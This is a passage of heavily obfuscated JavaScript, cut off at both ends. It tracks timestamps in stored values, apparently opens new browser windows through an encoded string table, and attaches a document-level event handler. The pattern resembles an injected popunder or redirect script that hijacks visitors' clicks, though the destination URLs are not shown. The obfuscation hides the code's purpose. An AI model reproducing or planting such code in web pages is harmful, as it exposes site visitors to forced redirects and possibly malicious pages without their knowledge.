_0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);})();
```